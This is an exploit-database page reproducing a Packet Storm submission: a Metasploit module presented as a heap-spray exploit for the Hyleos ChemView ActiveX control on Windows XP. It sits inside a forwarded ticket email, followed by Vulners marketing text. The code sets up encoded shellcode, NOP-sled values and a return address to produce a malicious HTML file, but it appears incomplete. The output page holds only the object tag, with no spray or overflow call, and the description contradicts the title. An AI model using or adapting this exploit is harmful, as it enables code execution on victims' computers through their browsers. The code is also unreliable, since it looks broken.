Lucene search
K

Hyleos ChemView 1.9.5.1 Heap Spray Exploit

🗓️ 12 Feb 2010 00:00:00Reported by Dz_attackerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

Hyleos ChemView 1.9.5.1 Heap Spray Exploit on Windows XP sp3

Code
`New Ticket: (No Subject)  
  
# Exploit Title: Hyleos ChemView 1.9.5.1 (HyleosChemView.ocx) Heap Spray Exploit (meta)  
# Date: 10/02/2010  
# Author: Dz_attacker  
# Download : http://www.hyleos.net/download/chemView.1.9.5.exe  
# Tested on: Windows xp sp3  
# Code :  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Hyleos ChemView ActiveX Control Buffer Overflow Exploit',  
'Description' => %q{  
This module exploits a stack-based buffer overflow within HyleosChemView.ocx of Hyleos ChemView 1.9.5.1  
By setting an overly long value to 'SaveAsMolFile()', an attacker can overrun a buffer  
and execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Dz_attacker <dz_attacker[at]hotmail.fr>'  
],  
'References' =>  
[  
[ 'URL', 'http://www.security-assessment.com/files/advisories/2010-02-11_ChemviewX_Activex.pdf' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x0a\x0a\x20",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0A0A0a0A, 'Offset' => 150 } ]  
],  
'DisclosureDate' => 'Feb 11 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']),  
], self.class)  
end  
  
def exploit  
  
# Encode the shellcode  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Setup exploit buffers  
nops = Rex::Text.to_unescape([target.ret].pack('V'))  
ret = Rex::Text.uri_encode([target.ret].pack('L'))  
blocksize = 0x40000  
fillto = 300  
offset = target['Offset']  
  
# Randomize the javascript variable names  
chemview = rand_text_alpha(rand(100) + 1)  
j_shellcode = rand_text_alpha(rand(100) + 1)  
j_nops = rand_text_alpha(rand(100) + 1)  
j_ret = rand_text_alpha(rand(100) + 1)  
j_headersize = rand_text_alpha(rand(100) + 1)  
j_slackspace = rand_text_alpha(rand(100) + 1)  
j_fillblock = rand_text_alpha(rand(100) + 1)  
j_block = rand_text_alpha(rand(100) + 1)  
j_memory = rand_text_alpha(rand(100) + 1)  
j_counter = rand_text_alpha(rand(30) + 2)  
  
  
html = %Q|<html>  
<object classid='clsid:C372350A-1D5A-44DC-A759-767FC553D96C' id='#{chemview}'></object>  
  
</html>|  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(html)  
end  
  
end  
  
________________________________  
Windows 7 : Trouvez le PC qui vous convient! Découvrez notre offre ! <http://clk.atdmt.com/FRM/go/181574577/direct/01/>  
  
  
  
Ticket Details  
===================  
Ticket ID: NEL-923067  
Department: Exploits  
Priority: Medium  
Status: Open  
Link: http://ph33rus.offsec.com/3874623487438734587634/staff/index.php?_m=tickets&_a=viewticket&ticketid=1953  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation